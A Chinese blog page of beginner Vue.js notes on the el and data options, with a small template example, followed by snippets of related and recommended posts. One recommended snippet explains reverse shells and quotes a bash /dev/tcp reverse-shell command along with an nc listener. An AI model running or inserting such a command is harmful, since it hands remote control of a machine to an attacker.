vue学习笔记1：el 与 data
一、vue介绍
vue是目前三大主流框架之一（React、Angular、Vue）
vue特点：
- 易用
- 灵活
- 高效
vue官网：官网链接
二，知识点
vue实例选项： el
注：不能 让el直接管理html或者body，会报错
作用：指定当前vue实例所管理的视图
值：可以是id选择器，其他选择器，DOM元素（#div1，.div1等）
vue实例选项：data
作用：指定当前vue实例所管理的视图中要使用的数据
值：可以是一个对象
访问方法：实例对象.属性名
特点：响应式数据（数据改变时，视图层中的数据会自动发生变化）
三、用js中的数据渲染视图层
- 引入vue.js
<script src="../js/vue.js"></script>
- 在视图中建立一个div
<div id="div1">
<p></p>
</div>
- js代码
new Vue({
el:'#div1', //绑定视图层的id
data:{
msg:'Hello，vue' //渲染视图层的数据
}
})
- 绑定数据
<p>{{msg}}</p><!-- 绑定js中msg的数据 -->
- 运行截图
- 完整代码
<body>
<div id="div1"><!-- 视图层新建一个div -->
<p>{{msg}}</p><!-- 绑定数据 -->
</div> <script>
new Vue({
el:'#div1', //绑定视图层的id
data:{
msg:'Hello，vue' //渲染视图层的数据
}
})
</script>
</body>
vue学习笔记1：el 与 data的更多相关文章
- vue学习笔记之：为何data是一个方法
vue学习笔记之:为何data是一个方法 在vue开发中,我们可以发现,data中的属性值是在function中return出来的.可为何data必须是一个函数呢?我们先看官方的解释: 当一个组件被定 ...
- Vue学习笔记-2
前言 本文非vue教程,仅为学习vue过程中的个人理解与笔记,有说的不正确的地方欢迎指正讨论 1.computed计算属性函数中不能使用vm变量 在计算属性的函数中,不能使用Vue构造函数返回的vm变 ...
- Vue学习笔记-1
前言 本文不是Vue.js的教程,只是一边看官网Vue的教程文档一边记录并总结学习过程中遇到的一些问题和思考的笔记. 1.vue和avalon一样,都不支持VM初始时不存在的属性 而在Angular里 ...
- vue 学习笔记（二）
最近公司赶项目,一直也没时间看 vue,之前看下的都快忘得差不多了.哈哈哈,来一起回顾一下vue 学习笔记(一)后,继续向下看嘛. #表单输入绑定 基础用法 v-model 会忽略所有表单元素的 va ...
- vue学习笔记(八)组件校验&通信
前言 在上一章博客的内容中vue学习笔记(七)组件我们初步的认识了组件,并学会了如何定义局部组件和全局组件,上一篇内容仅仅只是对组件一个简单的入门,并没有深入的了解组件当中的其它机制,本篇博客将会带大 ...
- vue学习笔记(九)vue-cli中的组件通信
前言 在上一篇博客vue学习笔记(八)组件校验&通信中,我们学会了vue中组件的校验和父组件向子组件传递信息以及子组件通知父组件(父子组件通信),上一篇博客也提到那是对组件内容的刚刚开始,而本 ...
- vue学习笔记(十)路由
前言 在上一篇博客vue学习笔记(九)vue-cli中的组件通信内容中,我们学习组件通信的相关内容和进行了一些组件通信的小练习,相信大家已经掌握了vue-cli中的组件通信,而本篇博客将会带你更上一层 ...
- Vue学习笔记十三：Vue+Bootstrap+vue-resource从接口获取数据库数据
目录 前言 SpringBoot提供后端接口 Entity类 JPA操作接口 配置文件 数据库表自动映射,添加数据 写提供数据的接口 跨域问题 前端修改 效果图 待续 前言 Vue学习笔记九的列表案例 ...
- vue学习笔记(三)class和style绑定
前言 通过上一章的学习vue学习笔记(二)vue的生命周期和钩子函数,我们已经更近一步的知道了关于vue的一些知识,本篇博客将进一步探讨vue其它方面的内容,vue中关于class和style绑定,关 ...
- vue学习笔记(四)事件处理器
前言 在上一章vue学习笔记(三)class和style绑定的内容中,我们学习了如何在vue中绑定class和style,介绍了常用的绑定方法,class的数组绑定和对象绑定以及style的数组绑定和 ...
随机推荐
- Sphinx中文入门指南
http://www.sphinxsearch.org/sphinx-tutorial 1.简介 1.1.Sphinx是什么 1.2.Sphinx的特性 1.3.Sphinx中文分词 2.安装配置实例 ...
- PHP mysql扩展整理,操作数据库的实现过程分析
相关文章:PHP mysqli扩展整理,包括面向过程和面向对象的比较\事务控制\批量执行\预处理 PHPmysqli扩展整理,包括面向过程和面向对象的比较\事务控制\批量执行\预处理 从某种程度上 ...
- 基于AutoIt3的Ping、网址转IP地址，以及hosts文件写入
#include <Constants.au3> #include <GUIConstantsEx.au3> GUICreate("通讯测试-eip.hxgroup. ...
- sql临时表与变量表
1)临时表存储在 tempdb 中,当不再使用时会自动删除 一般使用如下: --创建临时表 select * into #temp from TABLE --使用临时表 select * from # ...
- JMeter JMS测试计划
在本节中,我们将学习如何编写一个简单的测试计划来测试Java Messaging Service(JMS). 出于测试目的,我们使用Apache ActiveMQ.有各种JMS服务器,如:glassf ...
- SSI（服务器端嵌入）
简介 SSI(服务器端嵌入)是一组放在 HTML 页面中的指令,当服务器向客户端访问提供这些页面时,会解释执行这些指令.它们能为已有的 HTML 页面添加动态生成内容,不需要通过 CGI 程序来或其他 ...
- 反弹shell理解
靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...
- pg_dump
一.PostgreSQL提供的一个工具 pg_dump逻辑导出数据,生成sql文件或其他格式文件,pg_dump是一个客户端工具,可以远程或本地导出逻辑数据,恢复数据至导出时间点. 二.pg_dump ...
- mysql主从之基于atlas读写分离
一 mysql读写分离的概念 写在主库,主库一般只有一个,读可以分配在多个从库上,如果写压力不大的话,也能把读分配到主库上. 实现是基于atlas实现的,atlas是数据库的中间件,程序只需要连接at ...
- 洛谷$P4755\ Beautiful\ Pair$ 最大值分治
正解:最大值分治 解题报告: 传送门$QwQ$ 昂考虑如果已经钦定了点$x$是这个$max$了,然后现在要求有多少对$[l,r]$满足$a_x=max\left\{a_i\right\},i\in[l ...